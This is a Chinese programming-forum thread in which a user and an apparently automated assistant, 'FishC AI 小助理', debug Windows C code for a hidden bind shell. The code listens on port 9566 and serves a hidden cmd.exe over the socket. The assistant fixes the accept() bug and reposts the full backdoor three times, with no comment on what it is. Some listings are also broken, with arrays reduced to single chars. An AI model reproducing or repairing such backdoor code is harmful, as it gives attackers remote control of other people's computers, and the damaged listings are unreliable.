1006150804 发表于 2025-2-23 19:31:41

telnet 连接后不能输入,随便按个字母就退出

#include "miliMM.h"
#include <Windows.h>
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")


BOOL bExit = FALSE;
int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
{
      if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen <= 0) {
                return -1;
      }
      int iCurrSend = 0, offset = 0;
      do {
                iCurrSend = send(m_Sock, (char*)pBuf + offset, dwBufLen, 0);
                if (iCurrSend <= 0) {
                        break;
                }
                dwBufLen -= iCurrSend;
                offset += iCurrSend;
      } while (dwBufLen > 0);
      return offset;
}

DWORD WINAPI InputThread(LPVOID lpParam)
{
      CThreadNode InputNode = *(CThreadNode*)lpParam;
      TCHAR szBuffer = { 0 };
      DWORD RecvByte = 0, WriteByte;

      while (TRUE)
      {
                RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
                if (RecvByte > 0 && (RecvByte != SOCKET_ERROR))
                {
                        WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
                }
                else
                {
                        closesocket(InputNode.cSock);
                        WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
                        bExit = TRUE;
                        break;
                }
                Sleep(50);
      }
      return TRUE;
}

DWORD WINAPI OutputThread(LPVOID lpParam)
{
      CThreadNode OutPutThread = *(CThreadNode*)lpParam;
      DWORD ReadLen, dwTotalAvail;
      TCHAR szBuffer;
      BOOL bRet = FALSE;
      while (!bExit)
      {
                bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, NULL, NULL, &dwTotalAvail, NULL);
                if (bRet && dwTotalAvail > 0)
                {
                        bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
                        if (bRet && ReadLen > 0)
                        {
                              SendData(OutPutThread.cSock, szBuffer, ReadLen);
                        }
                        ZeroMemory(szBuffer, MAX_PATH);
                        Sleep(50);
                }
      }
      return true;
}

BOOL InitSocket()
{
      int Ret = 0;
      WSADATA                wsaData;
      Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
      if (Ret != 0)
      {
                MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
                return false;
      }
      return true;
}

BOOL StartShell(UINT uPort)
{
      SOCKET                ListeningSocket, ClientSocket;
      sockaddr_in ClientAddr;
      int                        ClientAddrLen;
      HANDLE                hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
      HANDLE                hInputThread, hOutputThread;
      SECURITY_ATTRIBUTES sa;
      STARTUPINFO StartInfo;
      PROCESS_INFORMATION pi;
      CThreadNode ReadNode, WriteNode;

      if (!InitSocket())
      {
                MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
                return false;
      }
      ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      if (ListeningSocket == INVALID_SOCKET)
      {
                MessageBox(NULL, TEXT("socket error"), TEXT("ERROR"), MB_OK);
                WSACleanup();
                return false;
      }
      sockaddr_in si = { 0 };
      si.sin_family = AF_INET;
      si.sin_port = htons(uPort);
      si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
      if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
      {
                MessageBox(NULL, TEXT("bind error"), TEXT("ERROR"), MB_OK);
                closesocket(ListeningSocket);
                WSACleanup();
                return false;
      }

      if (listen(ListeningSocket, 5) == SOCKET_ERROR)
      {
                MessageBox(NULL, TEXT("listen error"), TEXT("ERROR"), MB_OK);
                closesocket(ListeningSocket);
                WSACleanup();
      }

      ClientAddrLen = sizeof(SOCKADDR_IN);
      if (ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen) == INVALID_SOCKET)
      {
                MessageBox(NULL, TEXT("accept error"), TEXT("ERROR"), MB_OK);
                closesocket(ListeningSocket);
                WSACleanup();
                return false;
      }

      sa.nLength = sizeof(SECURITY_ATTRIBUTES);
      sa.lpSecurityDescriptor = NULL;
      sa.bInheritHandle = TRUE;
      if (CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) == 0 || CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0) == 0)
      {
                //closesocket(ListeningSocket);
                //closesocket(ClientSocket);
                WSACleanup();
                return false;
      }

      TCHAR szBuffer = { 0 };
      GetSystemDirectory(szBuffer, MAX_PATH);
      lstrcat(szBuffer,TEXT("\\cmd.exe"));

      GetStartupInfo(&StartInfo);
      StartInfo.cb = sizeof(STARTUPINFO);
      StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
      StartInfo.wShowWindow = SW_HIDE;
      StartInfo.hStdInput = hReadpipe1;
      StartInfo.hStdOutput = StartInfo.hStdError = hWritepipe2;

      if (CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi) == 0)
      {
                MessageBox(NULL, TEXT("ERROR"), TEXT("ERROR"), MB_OK);
                //closesocket(ListeningSocket);
      //      closesocket(ClientSocket);
                WSACleanup();
                return false;
      }
      MessageBox(NULL, TEXT("Process ok"), TEXT("ERROR"), MB_OK);
      //WaitForSingleObject(pi.hProcess, INFINITE);
      ReadNode.cSock = WriteNode.cSock = ClientSocket;
      ReadNode.handleNode = hWritepipe1;
      hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
      WriteNode.handleNode = hReadpipe2;
      hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);

      HANDLE hHandles[] = { hInputThread, hOutputThread };
      WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);

      return true;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
      StartShell(9566);
      return 0;
}


FishC 发表于 2025-2-23 19:37:24

根据你的描述,telnet 连接后不能输入,随便按个字母就退出,有可能是多个原因导致。请检查以下几点:

1. 确保 Socket 初始化成功。
2. 确保命名管道(Pipe)创建成功。
3. 检查是否正确处理了 Socket 和 Pipe 的读取与写入。
4. 确保 CreateProcess 成功创建进程并且正确重定向了输入输出。

这里有一些具体需要修改和检查的地方:

1. 在 OutputThread 函数里定义的 szBuffer 应该是一个字符数组,而不是单个字符。
2. 在 accept 时的判断有误,用括号将赋值操作包含起来。

修改后的代码如下:

#include "miliMM.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

BOOL bExit = FALSE;
int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
{
    if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen == 0)
      return -1;

    return send(m_Sock, (char*)pBuf, dwBufLen, 0);
}

DWORD WINAPI InputThread(LPVOID lpParam)
{
    CThreadNode InputNode = *(CThreadNode*)lpParam;
    char szBuffer;
    DWORD RecvByte, WriteByte;
    while (!bExit)
    {
      RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
      if (RecvByte > 0 && RecvByte != SOCKET_ERROR)
      {
            WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
      }
      else
      {
            closesocket(InputNode.cSock);
            WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
            bExit = TRUE;
            break;
      }
      Sleep(50);
    }
    return TRUE;
}

DWORD WINAPI OutputThread(LPVOID lpParam)
{
    CThreadNode OutPutThread = *(CThreadNode*)lpParam;
    DWORD ReadLen, dwTotalAvail;
    char szBuffer;
    BOOL bRet = FALSE;
    while (!bExit)
    {
      bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, NULL, NULL, &dwTotalAvail, NULL);
      if (bRet && dwTotalAvail > 0)
      {
            bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
            if (bRet && ReadLen > 0)
            {
                SendData(OutPutThread.cSock, szBuffer, ReadLen);
            }
            ZeroMemory(szBuffer, MAX_PATH);
            Sleep(50);
      }
    }
    return true;
}

BOOL InitSocket()
{
    int Ret = 0;
    WSADATA wsaData;
    Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (Ret != 0)
    {
      MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
      return false;
    }
    return true;
}

BOOL StartShell(UINT uPort)
{
    SOCKET ListeningSocket, ClientSocket;
    sockaddr_in ClientAddr;
    int ClientAddrLen;
    HANDLE hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
    HANDLE hInputThread, hOutputThread;
    SECURITY_ATTRIBUTES sa;
    STARTUPINFO StartInfo;
    PROCESS_INFORMATION pi;
    CThreadNode ReadNode, WriteNode;

    if (!InitSocket())
    {
      MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
      return false;
    }
    ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (ListeningSocket == INVALID_SOCKET)
    {
      MessageBox(NULL, TEXT("socket error"), TEXT("ERROR"), MB_OK);
      WSACleanup();
      return false;
    }
    sockaddr_in si = { 0 };
    si.sin_family = AF_INET;
    si.sin_port = htons(uPort);
    si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
    {
      MessageBox(NULL, TEXT("bind error"), TEXT("ERROR"), MB_OK);
      closesocket(ListeningSocket);
      WSACleanup();
      return false;
    }

    if (listen(ListeningSocket, 5) == SOCKET_ERROR)
    {
      MessageBox(NULL, TEXT("listen error"), TEXT("ERROR"), MB_OK);
      closesocket(ListeningSocket);
      WSACleanup();
      return false;
    }

    ClientAddrLen = sizeof(SOCKADDR_IN);
    ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen);
    if (ClientSocket == INVALID_SOCKET)
    {
      MessageBox(NULL, TEXT("accept error"), TEXT("ERROR"), MB_OK);
      closesocket(ListeningSocket);
      WSACleanup();
      return false;
    }

    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) == 0 || CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0) == 0)
    {
      WSACleanup();
      return false;
    }

    TCHAR szBuffer = { 0 };
    GetSystemDirectory(szBuffer, MAX_PATH);
    lstrcat(szBuffer, TEXT("\\cmd.exe"));

    GetStartupInfo(&StartInfo);
    StartInfo.cb = sizeof(STARTUPINFO);
    StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    StartInfo.wShowWindow = SW_HIDE;
    StartInfo.hStdInput = hReadpipe1;
    StartInfo.hStdOutput = StartInfo.hStdError = hWritepipe2;

    if (CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi) == 0)
    {
      MessageBox(NULL, TEXT("ERROR"), TEXT("ERROR"), MB_OK);
      WSACleanup();
      return false;
    }
    MessageBox(NULL, TEXT("Process ok"), TEXT("ERROR"), MB_OK);

    ReadNode.cSock = WriteNode.cSock = ClientSocket;
    ReadNode.handleNode = hWritepipe1;
    hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
    WriteNode.handleNode = hReadpipe2;
    hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);

    HANDLE hHandles[] = { hInputThread, hOutputThread };
    WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);

    return true;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
    StartShell(9566);
    return 0;
}

请仔细检查代码中的注释和更改部分,并确保你在调试时可以看到更多的错误信息来帮助排除问题。如果仍然无法解决,请提供更多详细的错误信息以便进一步诊断。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。

1006150804 发表于 2025-2-23 20:25:11

FishC 发表于 2025-2-23 19:37
根据你的描述,telnet 连接后不能输入,随便按个字母就退出,有可能是多个原因导致。请检查以下几点:

1 ...

真的是accept那里的问题,无语了,懒了一下浪费一下午

FishC 发表于 2025-2-23 20:25:16

1006150804 发表于 2025-02-23 20:25
FishC 发表于 2025-2-23 19:37
根据你的描述,telnet ...

有时候编程中的小失误确实会带来意想不到的麻烦,但通过这次错误也很好的学习了。继续加油,做得很好!

如果你有任何其他问题,欢迎随时提问!

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。

1006150804 发表于 2025-2-23 20:28:21

FishC 发表于 2025-2-23 20:25
有时候编程中的小失误确实会带来意想不到的麻烦,但通过这次错误也很好的学习了。继续加油,做得很好! ...

还有个问题,进入虚拟机CMD之后没办法退出是哪里有问题

FishC 发表于 2025-2-23 20:28:44

1006150804 发表于 2025-02-23 20:28
FishC 发表于 2025-2-23 20:25
有时候编程中的小失误 ...

进入虚拟机 CMD 之后无法退出,可能是因为没有正确处理标准输入或输出。确保以下几点:

1. 确保线程在读取管道和发送数据时正确处理。
2. 确保命令进程(如 cmd.exe)能够正常接收到退出命令并退出。

你可以考虑在代码中添加一些调试信息来进一步确认哪一步出现了问题。

为简洁起见,我不再重新贴代码,只针对几个关键点进行说明:

1. **确保正确发送退出命令:**

   在发送退出命令时,确保命令发送正确。例如,在 InputThread 函数里,当检测到 recv 错误时发送 "exit\r\n" 命令。这部分代码看起来是正确的,但你可以再次确认退出命令成功发送到命名管道。

WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);

2. **检查 CreateProcess 是否正确处理:**

   如果新创建的 cmd.exe 进程没有正确处理输入输出,也会导致无法退出的问题。确保 STARTUPINFO 和 PROCESS_INFORMATION 设置正确并无误。

3. **监视进程退出:**

   可以通过监控 cmd.exe 进程来确定其是否已退出。在 StartShell 函数中,使用 WaitForSingleObject 来等待进程退出。

WaitForSingleObject(pi.hProcess, INFINITE);

4. **清理资源:**

   确保在进程退出后清理所有打开的句柄和资源,例如关闭 Socket,Pipe,终止线程等。

5. **调试信息:**

   在关键位置添加调试信息,例如在发送退出命令前后以及在检测到进程关闭之后,查看过程是否按预期运行。

如果继续有问题,请详细提供更多信息,以便能更准确地帮助你。以下是一个示例,展示如何监视并清理资源:

#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")

BOOL bExit = FALSE;
int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
{
    if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen == 0)
      return -1;

    return send(m_Sock, (char*)pBuf, dwBufLen, 0);
}

DWORD WINAPI InputThread(LPVOID lpParam)
{
    CThreadNode InputNode = *(CThreadNode*)lpParam;
    char szBuffer;
    DWORD RecvByte, WriteByte;
    while (!bExit)
    {
      RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
      if (RecvByte > 0 && RecvByte != SOCKET_ERROR)
      {
            WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
      }
      else
      {
            closesocket(InputNode.cSock);
            WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
            bExit = TRUE;
            break;
      }
      Sleep(50);
    }
    return TRUE;
}

DWORD WINAPI OutputThread(LPVOID lpParam)
{
    CThreadNode OutPutThread = *(CThreadNode*)lpParam;
    DWORD ReadLen, dwTotalAvail;
    char szBuffer;
    BOOL bRet = FALSE;
    while (!bExit)
    {
      bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, NULL, NULL, &dwTotalAvail, NULL);
      if (bRet && dwTotalAvail > 0)
      {
            bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
            if (bRet && ReadLen > 0)
            {
                SendData(OutPutThread.cSock, szBuffer, ReadLen);
            }
            ZeroMemory(szBuffer, MAX_PATH);
            Sleep(50);
      }
    }
    return true;
}

BOOL InitSocket()
{
    int Ret = 0;
    WSADATA wsaData;
    Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (Ret != 0)
    {
      MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
      return false;
    }
    return true;
}

BOOL StartShell(UINT uPort)
{
    SOCKET ListeningSocket, ClientSocket;
    sockaddr_in ClientAddr;
    int ClientAddrLen;
    HANDLE hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
    HANDLE hInputThread, hOutputThread;
    SECURITY_ATTRIBUTES sa;
    STARTUPINFO StartInfo;
    PROCESS_INFORMATION pi;
    CThreadNode ReadNode, WriteNode;

    if (!InitSocket())
    {
      MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
      return false;
    }
    ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (ListeningSocket == INVALID_SOCKET)
    {
      MessageBox(NULL, TEXT("socket error"), TEXT("ERROR"), MB_OK);
      WSACleanup();
      return false;
    }
    sockaddr_in si = { 0 };
    si.sin_family = AF_INET;
    si.sin_port = htons(uPort);
    si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
    {
      MessageBox(NULL, TEXT("bind error"), TEXT("ERROR"), MB_OK);
      closesocket(ListeningSocket);
      WSACleanup();
      return false;
    }

    if (listen(ListeningSocket, 5) == SOCKET_ERROR)
    {
      MessageBox(NULL, TEXT("listen error"), TEXT("ERROR"), MB_OK);
      closesocket(ListeningSocket);
      WSACleanup();
      return false;
    }

    ClientAddrLen = sizeof(SOCKADDR_IN);
    ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen);
    if (ClientSocket == INVALID_SOCKET)
    {
      MessageBox(NULL, TEXT("accept error"), TEXT("ERROR"), MB_OK);
      closesocket(ListeningSocket);
      WSACleanup();
      return false;
    }

    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) == 0 || CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0) == 0)
    {
      WSACleanup();
      return false;
    }

    TCHAR szBuffer = { 0 };
    GetSystemDirectory(szBuffer, MAX_PATH);
    lstrcat(szBuffer, TEXT("\\cmd.exe"));

    GetStartupInfo(&StartInfo);
    StartInfo.cb = sizeof(STARTUPINFO);
    StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    StartInfo.wShowWindow = SW_HIDE;
    StartInfo.hStdInput = hReadpipe1;
    StartInfo.hStdOutput = StartInfo.hStdError = hWritepipe2;

    if (CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi) == 0)
    {
      MessageBox(NULL, TEXT("ERROR"), TEXT("ERROR"), MB_OK);
      WSACleanup();
      return false;
    }
    MessageBox(NULL, TEXT("Process ok"), TEXT("ERROR"), MB_OK);

    ReadNode.cSock = WriteNode.cSock = ClientSocket;
    ReadNode.handleNode = hWritepipe1;
    hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
    WriteNode.handleNode = hReadpipe2;
    hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);

    HANDLE hHandles = { hInputThread, hOutputThread };
    WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(hReadpipe1);
    CloseHandle(hWritepipe1);
    CloseHandle(hReadpipe2);
    CloseHandle(hWritepipe2);

    return true;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
    StartShell(9566);
    return 0;
}

请根据需要调整代码,并确保在必要位置添加更多调试信息。如果还有其他问题,欢迎随时提出。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。

1006150804 发表于 2025-2-23 20:35:20

FishC 发表于 2025-2-23 20:28
进入虚拟机 CMD 之后无法退出,可能是因为没有正确处理标准输入或输出。确保以下几点:

1. 确保线程 ...

其他的命令如dir,   net user , ipconfig 等命令都可以执行,等到exit 命令就出错

FishC 发表于 2025-2-23 20:35:48

1006150804 发表于 2025-02-23 20:35
FishC 发表于 2025-2-23 20:28
进入虚拟机 CMD 之后 ...

当其他命令如 `dir`、`net user`、`ipconfig` 都能执行,但在执行 `exit` 命令时出现问题,可能是由于输入输出重定向或命名管道处理的问题。

请确保以下几点:

1. **正确传递和处理 exit 命令在 InputThread 和 OutputThread 中:**

在 `InputThread` 函数执行 `exit` 命令时,需要保证命令的完整性,且正确写入管道。

2. **等待处理完所有输入输出后再退出进程:**

确保在发送退出命令之后,有足够的时间等待 cmd.exe 进程正常退出。

以下是一些详细检查和修正的步骤:

1.修改 `InputThread` 中的缓冲区定义为字符数组,并修复 exit 命令的写入方式。
2.使用 `CreateProcess` 创建cmd进程时,关注 stdio 的关闭。

首先,请更新你的代码以更具体地处理 `exit` 命令:

#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")

#define MAX_PATH_LENGTH 260

typedef struct
{
    SOCKET cSock;
    HANDLE handleNode;
} CThreadNode;

BOOL bExit = FALSE;

int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
{
    if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen == 0)
      return -1;
    return send(m_Sock, (char*)pBuf, dwBufLen, 0);
}

DWORD WINAPI InputThread(LPVOID lpParam)
{
    CThreadNode InputNode = *(CThreadNode*)lpParam;
    char szBuffer = { 0 };
    DWORD RecvByte, WriteByte;
    while (!bExit)
    {
      RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
      if (RecvByte > 0 && RecvByte != SOCKET_ERROR)
      {
            WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
      }
      else
      {
            closesocket(InputNode.cSock);
            WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
            bExit = TRUE;
            break;
      }
      Sleep(50);
    }
    return TRUE;
}

DWORD WINAPI OutputThread(LPVOID lpParam)
{
    CThreadNode OutPutThread = *(CThreadNode*)lpParam;
    DWORD ReadLen, dwTotalAvail;
    char szBuffer = { 0 };
    BOOL bRet = FALSE;
    while (!bExit)
    {
      bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, 0, NULL, &dwTotalAvail, NULL);
      if (bRet && dwTotalAvail > 0)
      {
            bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
            if (bRet && ReadLen > 0)
            {
                SendData(OutPutThread.cSock, szBuffer, ReadLen);
            }
            ZeroMemory(szBuffer, MAX_PATH);
            Sleep(50);
      }
    }
    return TRUE;
}

BOOL InitSocket()
{
    int Ret = 0;
    WSADATA wsaData;
    Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (Ret != 0)
    {
      MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
      return FALSE;
    }
    return TRUE;
}

BOOL StartShell(UINT uPort)
{
    SOCKET ListeningSocket, ClientSocket;
    sockaddr_in ClientAddr;
    int ClientAddrLen;
    HANDLE hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
    HANDLE hInputThread, hOutputThread;
    SECURITY_ATTRIBUTES sa;
    STARTUPINFO StartInfo;
    PROCESS_INFORMATION pi;
    CThreadNode ReadNode, WriteNode;

    if (!InitSocket())
    {
      MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
      return FALSE;
    }
    ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (ListeningSocket == INVALID_SOCKET)
    {
      MessageBox(NULL, TEXT("Socket error"), TEXT("ERROR"), MB_OK);
      WSACleanup();
      return FALSE;
    }

    sockaddr_in si = { 0 };
    si.sin_family = AF_INET;
    si.sin_port = htons(uPort);
    si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);

    if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
    {
      MessageBox(NULL, TEXT("Bind error"), TEXT("ERROR"), MB_OK);
      closesocket(ListeningSocket);
      WSACleanup();
      return FALSE;
    }

    if (listen(ListeningSocket, 5) == SOCKET_ERROR)
    {
      MessageBox(NULL, TEXT("Listen error"), TEXT("ERROR"), MB_OK);
      closesocket(ListeningSocket);
      WSACleanup();
      return FALSE;
    }

    ClientAddrLen = sizeof(SOCKADDR_IN);
    ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen);
    if (ClientSocket == INVALID_SOCKET)
    {
      MessageBox(NULL, TEXT("Accept error"), TEXT("ERROR"), MB_OK);
      closesocket(ListeningSocket);
      WSACleanup();
      return FALSE;
    }

    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;

    if (!CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) || !CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0))
    {
      WSACleanup();
      return FALSE;
    }

    TCHAR szBuffer = { 0 };
    GetSystemDirectory(szBuffer, MAX_PATH);
    lstrcat(szBuffer, TEXT("\\cmd.exe"));

    GetStartupInfo(&StartInfo);
    StartInfo.cb = sizeof(STARTUPINFO);
    StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    StartInfo.wShowWindow = SW_HIDE;
    StartInfo.hStdInput = hReadpipe1;
    StartInfo.hStdOutput = hWritepipe2;
    StartInfo.hStdError = hWritepipe2;

    if (!CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi))
    {
      MessageBox(NULL, TEXT("CreateProcess error"), TEXT("ERROR"), MB_OK);
      WSACleanup();
      return FALSE;
    }
    MessageBox(NULL, TEXT("Process created"), TEXT("INFO"), MB_OK);

    ReadNode.cSock = WriteNode.cSock = ClientSocket;
    ReadNode.handleNode = hWritepipe1;
    hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
    WriteNode.handleNode = hReadpipe2;
    hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);

    HANDLE hHandles = { hInputThread, hOutputThread };
    WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(hReadpipe1);
    CloseHandle(hWritepipe1);
    CloseHandle(hReadpipe2);
    CloseHandle(hWritepipe2);
    closesocket(ClientSocket);
    closesocket(ListeningSocket);
    WSACleanup();

    return TRUE;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
    StartShell(9566);
    return 0;
}

请务必在必要位置添加调试信息以确认每一步都正确,特别是在发送和处理 exit 命令时。如果仍有问题,请进一步提供具体错误信息和症状,以便针对性解决。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。
页: [1]
查看完整版本: telnet 连接后不能输入,随便按个字母就退出